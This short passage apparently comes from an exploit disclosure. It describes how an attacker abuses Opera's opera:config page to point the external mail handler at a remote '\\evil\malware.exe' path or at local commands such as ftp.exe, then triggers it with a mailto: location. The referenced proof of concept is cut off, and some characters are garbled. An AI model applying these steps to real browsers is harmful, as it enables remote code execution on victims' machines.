 Exploit Code : <!--
Just found a way to use Stefano�s opera:config idea to
execute code from remote.
Instead of changing the HTTP Proxy, an attacker can change the default
external
mail application to �\\evil\malware.exe �,
or to local commands (e.g. ftp.exe
which can be used to download malicious binaries from remote). Also, there
is a
need to change the �Mail Handler� settings
to �2�, so opera will execute the
external mail application, instead of the default opera mail application.
After changing the settings, the attacker can simply set the location to
�mailto:� to execute the code.
A proof-of-concept which executes the Windows Calculator can be found here:
